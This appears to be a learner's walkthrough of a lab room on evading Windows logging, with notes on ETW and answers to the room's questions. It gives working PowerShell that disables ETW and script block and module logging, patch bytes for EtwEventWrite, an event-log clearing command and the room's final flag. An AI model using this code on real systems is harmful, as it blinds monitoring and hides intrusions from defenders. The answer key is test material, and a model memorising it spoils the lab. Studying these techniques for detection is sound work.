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Evading Logging and Monitoring - Medium

  1. Event Tracing
  2. Approaches to Log Evasion
  3. Tracing Instrumentation
  4. Reflection for Fun and Silence
  5. Patching Tracing Functions
  6. Providers via Policy
  7. Group Policy Takeover
  8. Abusing Log Pipeline
  9. Real World Scenario

Event Tracing

  • Primary target for attacker is the event logs, managed and controlled by ETW (Event Tracing for Windows).

  • ETW components:

    • Controllers - build & configure sessions

    • Providers - generate events

    • Consumers - interpret events

  • Event IDs are a core feature of Windows logging; events are sent & transferred in XML format.

1. What ETW component will build and configure sessions? - controllers

2. What event ID logs when a user account was deleted? - 4726

Approaches to Log Evasion

  • It is typical for a modern system to employ log forwarding; so deleting logs from host machine would not remove logs, instead it would be tracked by ETW.

  • Most published evasion techniques target ETW components since those allow attacker most control over the tracing process.

1. How many total events can be used to track event tampering? - 3

2. What event ID logs when the log file was cleared? - 104

Tracing Instrumentation

  • In ETW, events originate from providers; controllers will determine where data is sent and how it is processed in sessions; and consumers will save/deliver logs to be interpreted & analyzed.

  • Techniques to target components:

    • Provider - PSEtwLogProvider Modification, Group Policy Takeover, Log Pipeline Abuse, Type Creation

    • Controller - Patching EtwEventWrite, Runtime Tracing Tampering

    • Consumers - Log Smashing, Log Tampering

Reflection for Fun and Silence

  • PowerShell reflection:

    • Obtain .NET assembly for PSEtwLogProvider:
    $logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
    • Store null value for etwProvider field:
    $etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)
    • Set the field for m_enabled to previously stored value:
    [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);
1. What reflection assembly is used? - PSEtwLogProvider

2. What field is overwritten to disable ETW? - m_enabled

Patching Tracing Functions

  • ETW is written from the function EtwEventWrite; to identify 'patch points' (returns), we can view disassembly of the function.

  • ETW patching:

    • Obtain handle for EtwEventWrite
    • Modify memory permissions of function
    • Write opcode bytes to memory
    • Reset memory permissions of function
    • Flush instruction cache
1. What is the base address for the ETW security check before it is patched? - 779f245b

2. What is the non-delimited opcode used to patch ETW for x64 architecture? - c21400

Providers via Policy

  • ETW disables some features by default due to the amount of logs they can create; these can be enabled by modifying the GPO (Group Policy Object) settings of their parent policy.
1. How many total events are enabled through script block and module providers? - 2

2. What event ID will log script block execution? - 4104

Group Policy Takeover

  • Group policy takeover:

    • Obtain group policy settings from utility cache
    • Modify generic provider to 0
    • Modify invocation or module definition
1. What event IDs can be disabled using this technique? - 4103,4104

2. What provider setting controls 4104 events? - EnableScriptBlockLogging

Abusing Log Pipeline

  • Abusing log pipeline:

    • Obtain the target module:
    $module = Get-Module Microsoft.PowerShell.Utility
    • Set module execution details to $false:
    $module.LogPipelineExecutionDetails = $false
    • Obtain module snap-in:
    $snap = Get-PSSnapin Microsoft.PowerShell.Core
    • Set snap-in execution details to $false:
    $snap.LogPipelineExecutionDetails = $false
1. What type of logging will this method prevent? - module logging

2. What target module will disable logging for all Microsoft utility modules? - Microsoft.PowerShell.Utility

Real World Scenario

  • Script for given scenario:
#disable GPO settings by running the GPO-bypass script on Desktop

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static');
  If ($GroupPolicyField) {
      $GroupPolicyCache = $GroupPolicyField.GetValue($null);
      If ($GroupPolicyCache['ScriptBlockLogging']) {
          $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0;
          $GroupPolicyCache['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0;
      }
      $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new();
      $val.Add('EnableScriptBlockLogging', 0);
      $val.Add('EnableScriptBlockInvocationLogging', 0);
      $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $val
  };
#now we need to remove logs

Get-EventLog -List
#shows log types

Clear-EventLog "Windows PowerShell"

#if you are not getting flag
#you can reverse-engineer agent.exe to get flag
1. Enter the flag obtained from the desktop after executing the binary. - THM{51l3n7_l1k3_4_5n4k3}